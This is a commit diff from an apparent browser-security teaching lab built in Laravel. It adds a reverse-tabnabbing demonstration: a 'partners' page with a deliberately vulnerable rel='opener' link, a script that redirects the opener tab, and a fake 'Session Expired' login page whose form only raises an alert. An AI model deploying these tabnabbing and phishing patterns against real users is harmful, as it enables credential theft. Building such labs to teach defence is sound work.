mcoder_rezvan2/browser-sec-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add

Browse Source
This commit is contained in:
mcoder 2026-04-17 15:17:04 +03:30
parent 91983c0aed
commit 0b263517b7
10 changed files with 84 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
resources/views/hacker/clipboard.blade.php
View File

@ -4,7 +4,7 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Promo Code Verification</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-gray-50 text-gray-800 flex items-center justify-center h-screen">
<div class="max-w-md w-full bg-white p-8 rounded-xl shadow-lg text-center">

2
resources/views/hacker/csrf-exploit.blade.php
View File

@ -3,7 +3,7 @@
<head>
<meta charset="UTF-8">
<title>شما برنده شدید!</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-slate-900 flex items-center justify-center min-h-screen" onload="document.getElementById('attack-form').submit()">

27
resources/views/hacker/fake-login.blade.php Normal file
View File

@ -0,0 +1,27 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Session Expired - Please Login</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-gray-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-md w-96 border-t-4 border-red-500">
<h2 class="text-2xl font-bold mb-2 text-center text-red-600">Session Expired</h2>
<p class="text-gray-600 text-sm text-center mb-6">Please log in again to continue.</p>
<form onsubmit="alert('Phishing Successful! Your credentials would be stolen here.'); return false;">
<div class="mb-4">
<label class="block text-gray-700 text-sm font-bold mb-2">Email Address</label>
<input type="email" class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:ring-2 focus:ring-red-500" required>
</div>
<div class="mb-6">
<label class="block text-gray-700 text-sm font-bold mb-2">Password</label>
<input type="password" class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 mb-3 leading-tight focus:outline-none focus:ring-2 focus:ring-red-500" required>
</div>
<button type="submit" class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded w-full">Sign In</button>
</form>
<p class="mt-4 text-xs text-center text-gray-500">Notice: URL is hackerapp.eitebar.ir!</p>
</div>
</body>
</html>

19
resources/views/hacker/tabnab.blade.php Normal file
View File

@ -0,0 +1,19 @@
<!DOCTYPE html>
<html>
<head>
<title>Partner Site</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-gray-900 text-white flex items-center justify-center h-screen text-center">
<div>
<script>
if (window.opener) {
window.opener.location = 'https://hackerapp.eitebar.ir/fake-login';
document.write('<h1 class="text-4xl text-green-500 font-bold">Thanks for visiting!</h1><p class="mt-4 text-xl">Look at your previous tab... 😈</p>');
} else {
document.write('<h1 class="text-4xl text-blue-400 font-bold">Browser Security Blocked the Attack!</h1><p class="mt-4 text-xl">window.opener is null 🛡️</p>');
}
</script>
</div>
</body>
</html>

2
resources/views/user/login.blade.php
View File

@ -6,7 +6,7 @@
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
<title>ورود به حساب | WebApp Victim</title>
<!-- استفاده از Tailwind CDN به جای Vite برای لود تضمینی استایل‌ها -->
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
<style>
body { font-family: Tahoma, sans-serif; }
</style>

19
resources/views/user/partners.blade.php Normal file
View File

@ -0,0 +1,19 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Our Partners</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-gray-100 p-10">
<div class="max-w-2xl mx-auto bg-white p-8 rounded shadow">
<h1 class="text-2xl font-bold mb-6">Our External Partners</h1>
<p class="mb-4 text-gray-600">Click the links below to visit our partners. Notice the tab behavior.</p>
<ul class="space-y-4">
<li><a href="http://hackerapp.eitebar.ir/tabnab" target="_blank" class="text-blue-600 font-bold hover:underline">1. Partner Link (Default Browser Behavior)</a></li>
<li><a href="http://hackerapp.eitebar.ir/tabnab" target="_blank" rel="opener" class="text-red-600 font-bold hover:underline">2. Partner Link (Vulnerable - Explicit Opener)</a></li>
</ul>
</div>
</body>
</html>

2
resources/views/user/profile.blade.php
View File

@ -5,7 +5,7 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
<title>داشبورد کاربری | WebApp Victim</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
<style>
body { font-family: Tahoma, sans-serif; }
</style>

2
resources/views/vulnerabilities/logs.blade.php
View File

@ -5,7 +5,7 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
<title>Hacker Panel - C2 Server</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-black text-green-500 font-mono min-h-screen p-8 selection:bg-green-500 selection:text-black">
<div class="max-w-5xl mx-auto">

2
resources/views/vulnerabilities/xss.blade.php
View File

@ -6,7 +6,7 @@
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
<title>آزمایشگاه XSS | Browser Security</title>
<meta name="csrf-token" content="{{ csrf_token() }}">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
<style>body { font-family: Tahoma, sans-serif; }</style>
</head>
<body class="bg-slate-900 text-slate-100 min-h-screen p-8">

13
routes/web.php
View File

@ -51,6 +51,14 @@
return view('hacker.clipboard');
})->name('hacker.clipboard');
// Tabnabbing Exploit Pages
Route::get('/tabnab', function () {
return view('hacker.tabnab');
})->name('hacker.tabnab');
Route::get('/fake-login', function () {
return view('hacker.fake-login');
})->name('hacker.fake-login');
});
/*
@ -83,6 +91,11 @@
Route::post('/login', [UserController::class, 'login'])->name('login.submit');
Route::get('/logout', [UserController::class, 'logout'])->name('logout');
// External Partners (Vulnerable Tabnabbing page)
Route::get('/partners', function () {
return view('user.partners');
})->name('user.partners');
// ----- بخش‌های محافظت شده با سشن -----
Route::middleware(['web', 'auth'])->group(function () {